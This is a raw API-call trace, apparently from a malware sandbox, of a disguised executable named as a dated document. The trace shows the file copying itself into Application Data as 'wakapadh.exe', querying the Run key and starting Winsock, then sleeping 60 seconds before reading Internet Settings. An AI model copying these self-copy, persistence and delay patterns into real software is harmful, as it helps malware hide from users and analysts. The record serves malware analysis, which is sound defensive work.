06:37:11,795	996	LdrLoadDll	Flags => 518988 BaseAddress => 0x74980000 FileName => C:\WINDOWS\system32\msxml3.dll	SUCCESS	0x00000000
06:37:11,795	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => DllGetClassObject FunctionAddress => 0x749a381a ModuleHandle => 0x74980000	SUCCESS	0x00000000
06:37:11,805	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => DllCanUnloadNow FunctionAddress => 0x749bc430 ModuleHandle => 0x74980000	SUCCESS	0x00000000
06:37:11,805	996	LdrGetDllHandle	ModuleHandle => 0x7c900000 FileName => ntdll.dll	SUCCESS	0x00000000
06:37:11,805	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => NtQueryInformationProcess FunctionAddress => 0x7c90d7e0 ModuleHandle => 0x7c900000	SUCCESS	0x00000000
06:37:11,805	996	LdrGetProcedureAddress	Ordinal => 0 FunctionName => NtReadVirtualMemory FunctionAddress => 0x7c90d9e0 ModuleHandle => 0x7c900000	SUCCESS	0x00000000
06:37:11,805	996	NtReadVirtualMemory	Buffer => \x00\x00\x00\x00\xff\xff\xff\xff\x00\x00@\x00\x90\x1e%\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\x15\x00\x00\xd6\x97|\x00\x10\x90|\xe0\x10\x90|\x01\x00\x00\x00p)A~\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xc0\xd5\x97|\xff\x01\x00\x00\x00\x00\x00\x00\x00\x00o\x7f\x00\x00o\x7f\x88\x06o\x7f\x00\x00\xfb\x7f\x00\x10\xfc\x7f\x00 \xfd\x7f\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x80\x9b\x07m\xe8\xff\xff\x00\x00\x10\x00\x00 \x00\x00\x00\x00\x01\x00\x00\x10\x00\x00\x04\x00\x00\x00\x10\x00\x00\x00\xc0\xcf\x97|\x00\x00Q\x00\x00\x00\x00\x00\x14\x00\x00\x00x\xb1\x97|\x05\x00\x00\x00\x01\x00\x00\x00( \x00\x03\x02\x00\x00\x00\x02\x00\x00\x00\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 ProcessHandle => 0x00000170 BaseAddress => 0x7ffda000	SUCCESS	0x00000000
06:37:11,805	996	NtReadVirtualMemory	Buffer => \x00\x10\x00\x00x\x07\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00<\x00\x08\x02\x90\x02\x02\x00\x0c\x00\x00\x00\x10\x01\x12\x01\x98\x04\x02\x00\x88\x00\x8a\x00\xac\x05\x02\x00\x8c\x00\x8e\x008\x06\x02\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x88\x00\x8a\x00\xc8\x06\x02\x00\x1e\x00 \x00T\x07\x02\x00\x00\x00\x02\x00t\x07\x02\x00\x00\x00\x00\x00\x00\x00\x00\x00 ProcessHandle => 0x00000170 BaseAddress => 0x00020000	SUCCESS	0x00000000
06:37:11,805	996	NtReadVirtualMemory	Buffer => C\x00:\x00\\x00D\x00O\x00C\x00U\x00M\x00E\x00~\x001\x00\\x00T\x00D\x00W\x00\\x00L\x00O\x00C\x00A\x00L\x00S\x00~\x001\x00\\x00T\x00e\x00m\x00p\x00\\x00C\x00o\x00p\x00y\x00_\x00o\x00f\x00_\x00d\x00o\x00c\x00u\x00m\x00e\x00n\x00t\x00_\x00D\x00a\x00t\x00e\x00_\x00J\x00u\x00n\x00e\x00-\x002\x006\x00-\x002\x000\x001\x004\x00.\x00e\x00x\x00e\x00 ProcessHandle => 0x00000170 BaseAddress => 0x000205ac	SUCCESS	0x00000000
06:37:11,825	996	RegCreateKeyExW	Handle => 0x00000178 Access => 33554432 Registry => 0x80000001 Class => SubKey => Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders	SUCCESS	0x00000000
06:37:11,825	996	RegQueryValueExW	Handle => 0x00000178 Data => %\x00U\x00S\x00E\x00R\x00P\x00R\x00O\x00F\x00I\x00L\x00E\x00%\x00\\x00L\x00o\x00c\x00a\x00l\x00 \x00S\x00e\x00t\x00t\x00i\x00n\x00g\x00s\x00\\x00A\x00p\x00p\x00l\x00i\x00c\x00a\x00t\x00i\x00o\x00n\x00 \x00D\x00a\x00t\x00a\x00\x00\x00 ValueName => Local AppData	SUCCESS	0x00000000
06:37:11,825	996	RegCloseKey	Handle => 0x00000178	SUCCESS	0x00000000
06:37:11,825	996	RegCreateKeyExW	Handle => 0x00000178 Access => 33554432 Registry => 0x80000001 Class => SubKey => Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders	SUCCESS	0x00000000
06:37:11,825	996	RegSetValueExW	Handle => 0x00000178 Buffer => C\x00:\x00\\x00D\x00o\x00c\x00u\x00m\x00e\x00n\x00t\x00s\x00 \x00a\x00n\x00d\x00 \x00S\x00e\x00t\x00t\x00i\x00n\x00g\x00s\x00\\x00T\x00D\x00W\x00\\x00L\x00o\x00c\x00a\x00l\x00 \x00S\x00e\x00t\x00t\x00i\x00n\x00g\x00s\x00\\x00A\x00p\x00p\x00l\x00i\x00c\x00a\x00t\x00i\x00o\x00n\x00 \x00D\x00a\x00t\x00a\x00\x00\x00 ValueName => Local AppData Type => 1	SUCCESS	0x00000000
06:37:11,825	996	RegCloseKey	Handle => 0x00000178	SUCCESS	0x00000000
06:37:11,825	996	RegOpenKeyExA	Handle => 0x00000178 Registry => 0x80000001 SubKey => Software	SUCCESS	0x00000000
06:37:11,825	996	RegEnumKeyExA	Index => 0 Handle => 0x00000178 Name => Adobe Class =>	SUCCESS	0x00000000
06:37:11,825	996	RegOpenKeyExA	Handle => 0x0000017c Registry => 0x00000178 SubKey => Adobe	SUCCESS	0x00000000
06:37:11,825	996	RegEnumValueA	Index => 0 Handle => 0x0000017c DataLength => 4096 ValueName => x\x01\x14 Type => 1311096	FAILURE	0x00000103
06:37:11,825	996	RegCloseKey	Handle => 0x0000017c	SUCCESS	0x00000000
06:37:11,825	996	RegEnumKeyExA	Index => 1 Handle => 0x00000178 Name => Clients Class =>	SUCCESS	0x00000000
06:37:11,835	996	RegOpenKeyExA	Handle => 0x0000017c Registry => 0x00000178 SubKey => Clients	SUCCESS	0x00000000
06:37:11,835	996	RegEnumValueA	Index => 0 Handle => 0x0000017c DataLength => 4096 ValueName => x\x01\x14 Type => 1311096	FAILURE	0x00000103
06:37:11,835	996	RegCloseKey	Handle => 0x0000017c	SUCCESS	0x00000000
06:37:11,835	996	RegEnumKeyExA	Index => 2 Handle => 0x00000178 Name => Google Class =>	SUCCESS	0x00000000
06:37:11,835	996	RegOpenKeyExA	Handle => 0x0000017c Registry => 0x00000178 SubKey => Google	SUCCESS	0x00000000
06:37:11,835	996	RegEnumValueA	Index => 0 Handle => 0x0000017c DataLength => 4096 ValueName => x\x01\x14 Type => 1311096	FAILURE	0x00000103
06:37:11,835	996	RegCloseKey	Handle => 0x0000017c	SUCCESS	0x00000000
06:37:11,835	996	RegEnumKeyExA	Index => 3 Handle => 0x00000178 Name => Intel Class =>	SUCCESS	0x00000000
06:37:11,835	996	RegOpenKeyExA	Handle => 0x0000017c Registry => 0x00000178 SubKey => Intel	SUCCESS	0x00000000
06:37:11,835	996	RegEnumValueA	Index => 0 Handle => 0x0000017c DataLength => 4096 ValueName => x\x01\x14 Type => 1311096	FAILURE	0x00000103
06:37:11,835	996	RegCloseKey	Handle => 0x0000017c	SUCCESS	0x00000000
06:37:11,835	996	RegEnumKeyExA	Index => 4 Handle => 0x00000178 Name => Microsoft Class =>	SUCCESS	0x00000000
06:37:11,835	996	RegOpenKeyExA	Handle => 0x0000017c Registry => 0x00000178 SubKey => Microsoft	SUCCESS	0x00000000
06:37:11,835	996	RegEnumValueA	Index => 0 Handle => 0x0000017c DataLength => 4096 ValueName => x\x01\x14 Type => 1311096	FAILURE	0x00000103
06:37:11,835	996	RegCloseKey	Handle => 0x0000017c	SUCCESS	0x00000000
06:37:11,845	996	RegEnumKeyExA	Index => 5 Handle => 0x00000178 Name => MozillaPlugins Class =>	SUCCESS	0x00000000
06:37:11,845	996	RegOpenKeyExA	Handle => 0x0000017c Registry => 0x00000178 SubKey => MozillaPlugins	SUCCESS	0x00000000
06:37:11,845	996	RegEnumValueA	Index => 0 Handle => 0x0000017c DataLength => 4096 ValueName => x\x01\x14 Type => 1311096	FAILURE	0x00000103
06:37:11,845	996	RegCloseKey	Handle => 0x0000017c	SUCCESS	0x00000000
06:37:11,845	996	RegEnumKeyExA	Index => 6 Handle => 0x00000178 Name => Netscape Class =>	SUCCESS	0x00000000
06:37:11,845	996	RegOpenKeyExA	Handle => 0x0000017c Registry => 0x00000178 SubKey => Netscape	SUCCESS	0x00000000
06:37:11,845	996	RegEnumValueA	Index => 0 Handle => 0x0000017c DataLength => 4096 ValueName => x\x01\x14 Type => 1311096	FAILURE	0x00000103
06:37:11,845	996	RegCloseKey	Handle => 0x0000017c	SUCCESS	0x00000000
06:37:11,845	996	RegEnumKeyExA	Index => 7 Handle => 0x00000178 Name => Policies Class =>	SUCCESS	0x00000000
06:37:11,845	996	RegOpenKeyExA	Handle => 0x0000017c Registry => 0x00000178 SubKey => Policies	SUCCESS	0x00000000
06:37:11,845	996	RegEnumValueA	Index => 0 Handle => 0x0000017c DataLength => 4096 ValueName => x\x01\x14 Type => 1311096	FAILURE	0x00000103
06:37:11,845	996	RegCloseKey	Handle => 0x0000017c	SUCCESS	0x00000000
06:37:11,845	996	RegEnumKeyExA	Index => 8 Handle => 0x00000178 Name => Classes Class =>	SUCCESS	0x00000000
06:37:11,845	996	RegOpenKeyExA	Handle => 0x0000017c Registry => 0x00000178 SubKey => Classes	SUCCESS	0x00000000
06:37:11,845	996	RegEnumValueA	Index => 0 Handle => 0x0000017c Data => \x00 ValueName =>	SUCCESS	0x00000000
06:37:11,855	996	RegEnumValueA	Index => 1 Handle => 0x0000017c DataLength => 1 ValueName => Type => 1	FAILURE	0x00000103
06:37:11,855	996	RegCloseKey	Handle => 0x0000017c	SUCCESS	0x00000000
06:37:11,855	996	RegEnumKeyExA	Index => 9 Handle => 0x00000178 Name => Classes Class =>	FAILURE	0x00000103
06:37:11,855	996	RegCloseKey	Handle => 0x00000178	SUCCESS	0x00000000
06:37:11,855	996	RegOpenKeyExA	Handle => 0x00000178 Registry => 0x80000001 SubKey => Software\Microsoft\Windows\CurrentVersion\Run	SUCCESS	0x00000000
06:37:11,855	996	RegEnumValueA	Index => 0 Handle => 0x00000178 DataLength => 4096 ValueName => x\x01\x14 Type => 1	FAILURE	0x00000103
06:37:11,855	996	RegCloseKey	Handle => 0x00000178	SUCCESS	0x00000000
06:37:11,855	996	NtCreateFile	ShareAccess => 1 FileName => C:\DOCUME~1\TDW\LOCALS~1\Temp\Copy_of_document_Date_June-26-2014.exe DesiredAccess => 0x80100080 CreateDisposition => 1 FileHandle => 0x00000178	SUCCESS	0x00000000
06:37:11,855	996	NtQueryInformationFile	FileHandle => 0x00000178 FileInformation => ?\x91Wb\xaf\x91\xcf\x01`<\x1f\xbf\xf3\x91\xcf\x01?\x91Wb\xaf\x91\xcf\x01?\x91Wb\xaf\x91\xcf\x01 \x00\x00\x00\x00\x00\x00\x00\x00\x10\x03\x00\x00\x00\x00\x00\x00\x0e\x03\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\xffK\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x89\x00\x12\x00\x00\x00\x00\x00\x00\x00\x00\x00 \x00\x00\x00\x01\x00\x00\x00\x84\x00\x00\x00\\x00D\x00	FAILURE	2147483653
06:37:11,855	996	NtReadFile	Buffer => MZ\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xff\xff\x00\x00\xb8\x00\x00\x00\x00\x00\x00\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xd8\x00\x00\x00\x0e\x1f\xba\x0e\x00\xb4 \xcd!\xb8\x01L\xcd!This program cannot be run in DOS mode. $\x00\x00\x00\x00\x00\x00\x00\x89\xdd\xbaz\xcd\xbc\xd4)\xcd\xbc\xd4)\xcd\xbc\xd4)C\xa3\xc7)\xd0\xbc\xd4)\xeaz\xaf)\xc6\xbc\xd4)\xcd\xbc\xd5)\x9f\xbc\xd4)\xd3\xeeW)\xcc\xbc\xd4)\xcd\xbc\xd4)\xcf\xbc\xd4)\xd3\xee@)\xcc\xbc\xd4)\xd3\xeeE)\xcc\xbc\xd4)Rich\xcd\xbc\xd4)\x00\x00\x00\x00\x00\x00\x00\x00PE\x00\x00L\x01\x04\x00T!\xacS\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x03\x01\x0b\x01 \x00\x00Z\x00\x00\x00\xb2\x02\x00\x00\x00\x00\x00 FileHandle => 0x00000178	SUCCESS	0x00000000
06:37:11,855	996	NtCreateFile	ShareAccess => 0 FileName => C:\Documents and Settings\TDW\Local Settings\Application Data\wakapadh.exe DesiredAccess => 0x40100080 CreateDisposition => 5 FileHandle => 0x00000178	SUCCESS	0x00000000
06:37:11,865	996	NtWriteFile	Buffer => MZ\x90\x00\x03\x00\x00\x00\x04\x00\x00\x00\xff\xff\x00\x00\xb8\x00\x00\x00\x00\x00\x00\x00@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xd8\x00\x00\x00\x0e\x1f\xba\x0e\x00\xb4 \xcd!\xb8\x01L\xcd!This program cannot be run in DOS mode. $\x00\x00\x00\x00\x00\x00\x00\x89\xdd\xbaz\xcd\xbc\xd4)\xcd\xbc\xd4)\xcd\xbc\xd4)C\xa3\xc7)\xd0\xbc\xd4)\xeaz\xaf)\xc6\xbc\xd4)\xcd\xbc\xd5)\x9f\xbc\xd4)\xd3\xeeW)\xcc\xbc\xd4)\xcd\xbc\xd4)\xcf\xbc\xd4)\xd3\xee@)\xcc\xbc\xd4)\xd3\xeeE)\xcc\xbc\xd4)Rich\xcd\xbc\xd4)\x00\x00\x00\x00\x00\x00\x00\x00PE\x00\x00L\x01\x04\x00T!\xacS\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x03\x01\x0b\x01 \x00\x00Z\x00\x00\x00\xb2\x02\x00\x00\x00\x00\x00 FileHandle => 0x00000178	SUCCESS	0x00000000
06:37:11,865	996	RegOpenKeyExA	Handle => 0x00000178 Registry => 0x80000001 SubKey => Software	SUCCESS	0x00000000
06:37:11,875	996	RegEnumKeyExA	Index => 0 Handle => 0x00000178 Name => Adobe Class =>	SUCCESS	0x00000000
06:37:11,875	996	RegOpenKeyExA	Handle => 0x0000017c Registry => 0x00000178 SubKey => Adobe	SUCCESS	0x00000000
06:37:11,875	996	RegEnumValueA	Index => 0 Handle => 0x0000017c DataLength => 4096 ValueName => x\x01\x14 Type => 16781320	FAILURE	0x00000103
06:37:11,875	996	RegCloseKey	Handle => 0x0000017c	SUCCESS	0x00000000
06:37:11,875	996	RegEnumKeyExA	Index => 1 Handle => 0x00000178 Name => Clients Class =>	SUCCESS	0x00000000
06:37:11,875	996	RegOpenKeyExA	Handle => 0x0000017c Registry => 0x00000178 SubKey => Clients	SUCCESS	0x00000000
06:37:11,875	996	RegEnumValueA	Index => 0 Handle => 0x0000017c DataLength => 4096 ValueName => x\x01\x14 Type => 16781320	FAILURE	0x00000103
06:37:11,875	996	RegCloseKey	Handle => 0x0000017c	SUCCESS	0x00000000
06:37:11,875	996	RegEnumKeyExA	Index => 2 Handle => 0x00000178 Name => Google Class =>	SUCCESS	0x00000000
06:37:11,875	996	RegOpenKeyExA	Handle => 0x0000017c Registry => 0x00000178 SubKey => Google	SUCCESS	0x00000000
06:37:11,875	996	RegEnumValueA	Index => 0 Handle => 0x0000017c DataLength => 4096 ValueName => x\x01\x14 Type => 16781320	FAILURE	0x00000103
06:37:11,875	996	RegCloseKey	Handle => 0x0000017c	SUCCESS	0x00000000
06:37:11,875	996	RegEnumKeyExA	Index => 3 Handle => 0x00000178 Name => Intel Class =>	SUCCESS	0x00000000
06:37:11,875	996	RegOpenKeyExA	Handle => 0x0000017c Registry => 0x00000178 SubKey => Intel	SUCCESS	0x00000000
06:37:11,875	996	RegEnumValueA	Index => 0 Handle => 0x0000017c DataLength => 4096 ValueName => x\x01\x14 Type => 16781320	FAILURE	0x00000103
06:37:11,875	996	RegCloseKey	Handle => 0x0000017c	SUCCESS	0x00000000
06:37:11,875	996	RegEnumKeyExA	Index => 4 Handle => 0x00000178 Name => Microsoft Class =>	SUCCESS	0x00000000
06:37:11,875	996	RegOpenKeyExA	Handle => 0x0000017c Registry => 0x00000178 SubKey => Microsoft	SUCCESS	0x00000000
06:37:11,875	996	RegEnumValueA	Index => 0 Handle => 0x0000017c DataLength => 4096 ValueName => x\x01\x14 Type => 16781320	FAILURE	0x00000103
06:37:11,875	996	RegCloseKey	Handle => 0x0000017c	SUCCESS	0x00000000
06:37:11,875	996	RegEnumKeyExA	Index => 5 Handle => 0x00000178 Name => MozillaPlugins Class =>	SUCCESS	0x00000000
06:37:11,875	996	RegOpenKeyExA	Handle => 0x0000017c Registry => 0x00000178 SubKey => MozillaPlugins	SUCCESS	0x00000000
06:37:11,875	996	RegEnumValueA	Index => 0 Handle => 0x0000017c DataLength => 4096 ValueName => x\x01\x14 Type => 16781320	FAILURE	0x00000103
06:37:11,875	996	RegCloseKey	Handle => 0x0000017c	SUCCESS	0x00000000
06:37:11,875	996	RegEnumKeyExA	Index => 6 Handle => 0x00000178 Name => Netscape Class =>	SUCCESS	0x00000000
06:37:11,875	996	RegOpenKeyExA	Handle => 0x0000017c Registry => 0x00000178 SubKey => Netscape	SUCCESS	0x00000000
06:37:11,875	996	RegEnumValueA	Index => 0 Handle => 0x0000017c DataLength => 4096 ValueName => x\x01\x14 Type => 16781320	FAILURE	0x00000103
06:37:11,875	996	RegCloseKey	Handle => 0x0000017c	SUCCESS	0x00000000
06:37:11,875	996	RegEnumKeyExA	Index => 7 Handle => 0x00000178 Name => Policies Class =>	SUCCESS	0x00000000
06:37:11,875	996	RegOpenKeyExA	Handle => 0x0000017c Registry => 0x00000178 SubKey => Policies	SUCCESS	0x00000000
06:37:11,875	996	RegEnumValueA	Index => 0 Handle => 0x0000017c DataLength => 4096 ValueName => x\x01\x14 Type => 16781320	FAILURE	0x00000103
06:37:11,875	996	RegCloseKey	Handle => 0x0000017c	SUCCESS	0x00000000
06:37:11,875	996	RegEnumKeyExA	Index => 8 Handle => 0x00000178 Name => Classes Class =>	SUCCESS	0x00000000
06:37:11,875	996	RegOpenKeyExA	Handle => 0x0000017c Registry => 0x00000178 SubKey => Classes	SUCCESS	0x00000000
06:37:11,875	996	RegEnumValueA	Index => 0 Handle => 0x0000017c Data => \x00 ValueName =>	SUCCESS	0x00000000
06:37:11,875	996	RegEnumValueA	Index => 1 Handle => 0x0000017c DataLength => 1 ValueName => Type => 1	FAILURE	0x00000103
06:37:11,875	996	RegCloseKey	Handle => 0x0000017c	SUCCESS	0x00000000
06:37:11,875	996	RegEnumKeyExA	Index => 9 Handle => 0x00000178 Name => Classes Class =>	FAILURE	0x00000103
06:37:11,875	996	RegCloseKey	Handle => 0x00000178	SUCCESS	0x00000000
06:37:11,875	996	WSAStartup	VersionRequested => 0x00000202	SUCCESS	0x00000000
06:37:11,875	996	NtDelayExecution	Milliseconds => 60000	SUCCESS	0x00000000
06:38:11,882	996	NtFreeVirtualMemory	FreeType => 0x00008000 ProcessHandle => 0xffffffff RegionSize => 0x0036f000 BaseAddress => 0x01b10000	SUCCESS	0x00000000
06:38:11,882	996	NtFreeVirtualMemory	FreeType => 0x00008000 ProcessHandle => 0xffffffff RegionSize => 0x0036f000 BaseAddress => 0x01e80000	SUCCESS	0x00000000
06:38:11,882	996	NtFreeVirtualMemory	FreeType => 0x00004000 ProcessHandle => 0xffffffff RegionSize => 0x00042000 BaseAddress => 0x01a1e000	SUCCESS	0x00000000
06:38:11,882	996	NtFreeVirtualMemory	FreeType => 0x00004000 ProcessHandle => 0xffffffff RegionSize => 0x0000d000 BaseAddress => 0x01a11000	SUCCESS	0x00000000
06:38:11,912	996	RegQueryValueExA	Handle => 0x00000084 DataLength => 4 ValueName => FromCacheTimeout Type => 132	FAILURE	0x00000002
06:38:11,912	996	RegQueryValueExA	Handle => 0x00000084 DataLength => 4 ValueName => SecureProtocols Type => 132	FAILURE	0x00000002
06:38:11,912	996	RegQueryValueExA	Handle => 0x00000084 DataLength => 4 ValueName => CertificateRevocation Type => 132	FAILURE	0x00000002
06:38:11,912	996	RegQueryValueExA	Handle => 0x00000084 DataLength => 4 ValueName => DisableKeepAlive Type => 132	FAILURE	0x00000002
06:38:11,912	996	RegQueryValueExA	Handle => 0x00000084 DataLength => 4 ValueName => DisablePassport Type => 132	FAILURE	0x00000002
06:38:11,912	996	RegQueryValueExA	Handle => 0x00000084 DataLength => 4 ValueName => CacheMode Type => 132	FAILURE	0x00000002
06:38:11,912	996	RegOpenKeyExA	Handle => 0x00000178 Registry => 0x80000002 SubKey => SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
06:38:11,912	996	RegQueryValueExA	Handle => 0x00000178 DataLength => 4 ValueName => Security_HKLM_only Type => 376	FAILURE	0x00000002
06:38:11,912	996	RegCloseKey	Handle => 0x00000178	SUCCESS	0x00000000
06:38:11,912	996	RegOpenKeyExA	Handle => 0x00000178 Registry => 0x80000002 SubKey => SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
06:38:11,912	996	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x80000001 SubKey => SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings	FAILURE	0x00000002
06:38:11,912	996	RegOpenKeyExA	Handle => 0x0000017c Registry => 0x80000002 SubKey => SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
06:38:11,922	996	RegOpenKeyExA	Handle => 0x00000180 Registry => 0x80000001 SubKey => SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
06:38:11,922	996	RegQueryValueExA	Handle => 0x00000178 DataLength => 4 ValueName => EnableHttp1_1 Type => 376	FAILURE	0x00000002
06:38:11,922	996	RegQueryValueExA	Handle => 0x00000180 Data => 1 ValueName => EnableHttp1_1	SUCCESS	0x00000000
06:38:11,922	996	RegCloseKey	Handle => 0x00000178	SUCCESS	0x00000000
06:38:11,922	996	RegCloseKey	Handle => 0x00000000	FAILURE	0x00000006
06:38:11,922	996	RegCloseKey	Handle => 0x0000017c	SUCCESS	0x00000000
06:38:11,922	996	RegCloseKey	Handle => 0x00000180	SUCCESS	0x00000000
06:38:11,922	996	RegOpenKeyExA	Handle => 0x00000180 Registry => 0x80000002 SubKey => SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
06:38:11,922	996	RegQueryValueExA	Handle => 0x00000180 DataLength => 4 ValueName => Security_HKLM_only Type => 384	FAILURE	0x00000002
06:38:11,952	996	RegCloseKey	Handle => 0x00000180	SUCCESS	0x00000000
06:38:11,952	996	RegOpenKeyExA	Handle => 0x00000180 Registry => 0x80000002 SubKey => SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
06:38:11,952	996	RegOpenKeyExA	Handle => 0x00000000 Registry => 0x80000001 SubKey => SOFTWARE\Policies\Microsoft\Windows\CurrentVersion\Internet Settings	FAILURE	0x00000002
06:38:11,952	996	RegOpenKeyExA	Handle => 0x0000017c Registry => 0x80000002 SubKey => SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
06:38:11,952	996	RegOpenKeyExA	Handle => 0x00000178 Registry => 0x80000001 SubKey => SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings	SUCCESS	0x00000000
06:38:11,952	996	RegQueryValueExA	Handle => 0x00000180 DataLength => 4 ValueName => ProxyHttp1.1 Type => 384	FAILURE	0x00000002
06:38:11,952	996	RegQueryValueExA	Handle => 0x00000178 DataLength => 4 ValueName => ProxyHttp1.1 Type => 376	FAILURE	0x00000002
06:38:11,952	996	RegQueryValueExA	Handle => 0x0000017c DataLength => 4 ValueName => ProxyHttp1.1 Type => 380	FAILURE	0x00000002
06:38:11,952	996	RegCloseKey	Handle => 0x00000180	SUCCESS	0x00000000
06:38:11,962	996	RegCloseKey	Handle => 0x00000000	FAILURE	0x00000006
06:38:11,962	996	RegCloseKey	Handle => 0x0000017c	SUCCESS	0x00000000
06:38:11,962	996	RegCloseKey	Handle => 0x00000178	SUCCESS	0x00000000
06:38:11,962	996	RegQueryValueExA	Handle => 0x00000084 Data => 1 ValueName => EnableNegotiate	SUCCESS	0x00000000
06:38:11,962	996	RegQueryValueExA	Handle => 0x00000084 DataLength => 4 ValueName => DisableBasicOverClearChannel Type => 132	FAILURE	0x00000002
06:38:11,962	996	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000002 SubKey => Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
06:38:11,962	996	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Policies\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
06:38:11,962	996	RegOpenKeyExW	Handle => 0x00000000 Registry => 0x80000001 SubKey => Software\Microsoft\Internet Explorer\Main\FeatureControl	FAILURE	0x00000002
06:38:11,962	996	RegOpenKeyExW	Handle => 0x00000178 Registry => 0x80000002 SubKey => Software\Microsoft\Internet Explorer\Main\FeatureControl	SUCCESS	0x00000000
06:38:11,992	996	RegQueryValueExA	Handle => 0x00000178 DataLength => 4 ValueName => Feature_ClientAuthCertFilter Type => 376	FAILURE	0x00000002
06:38:11,992	996	RegCloseKey	Handle => 0x00000178	SUCCESS	0x00000000
06:38:11,992	996	RegQueryValueExA	Handle => 0x00000084 DataLength => 4 ValueName => SyncMode5 Type => 132	FAILURE	0x00000002
06:38:11,992	996	RegOpenKeyExA	Handle => 0x00000178 Registry => 0x80000002 SubKey => Software\Microsoft\Windows\CurrentVersion\Internet Settings\Cache	SUCCESS	0x00000000
06:38:11,992	996	RegQueryValueExA	Handle => 0x00000178 DataLength => 4 ValueName => FixupKey Type => 376	FAILURE	0x00000002
06:38:11,992	996	RegCloseKey	Handle => 0x00000178	SUCCESS	0x00000000
06:38:12,002	996	RegOpenKeyExA	Handle => 0x00000178 Registry => 0x80000002 SubKey => Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache	SUCCESS	0x00000000
06:38:12,002	996	RegQueryValueExA	Handle => 0x00000178 DataLength => 4 ValueName => SessionStartTimeDefaultDeltaSecs Type => 376	FAILURE	0x00000002
06:38:12,002	996	RegCloseKey	Handle => 0x00000178	SUCCESS	0x00000000
06:38:12,002	996	RegOpenKeyExA	Handle => 0x00000178 Registry => 0x80000002 SubKey => Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache	SUCCESS	0x00000000
06:38:12,002	996	RegOpenKeyExA	Handle => 0x0000017c Registry => 0x80000002 SubKey => System\Setup	SUCCESS	0x00000000
06:38:12,002	996	RegQueryValueExA	Handle => 0x0000017c Data => 0 ValueName => SystemSetupInProgress	SUCCESS	0x00000000
06:38:12,002	996	RegCloseKey	Handle => 0x0000017c	SUCCESS	0x00000000
06:38:12,002	996	RegOpenKeyExA	Handle => 0x0000017c Registry => 0x80000001 SubKey => Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders	SUCCESS	0x00000000
06:38:12,032	996	RegOpenKeyExA	Handle => 0x00000180 Registry => 0x80000001 SubKey => Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache	SUCCESS	0x00000000
06:38:12,032	996	RegOpenKeyExA	Handle => 0x00000184 Registry => 0x80000001 SubKey => Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders	SUCCESS	0x00000000
06:38:12,032	996	RegOpenKeyExA	Handle => 0x00000188 Registry => 0x80000001 SubKey => Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache	SUCCESS	0x00000000
06:38:12,032	996	RegQueryValueExA	Handle => 0x00000188 Data => Client UrlCache MMF Ver 5.2\x00 ValueName => Signature	SUCCESS	0x00000000
06:38:12,032	996	RegCloseKey	Handle => 0x00000188	SUCCESS	0x00000000
06:38:12,032	996	RegOpenKeyExA	Handle => 0x00000188 Registry => 0x80000001 SubKey => Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders	SUCCESS	0x00000000
06:38:12,032	996	RegQueryValueExA	Handle => 0x00000188 DataLength => 54 ValueName => Cache Type => 2	SUCCESS	0x00000000
06:38:12,032	996	RegQueryValueExA	Handle => 0x00000188 DataLength => 22 ValueName => Cookies Type => 2	SUCCESS	0x00000000
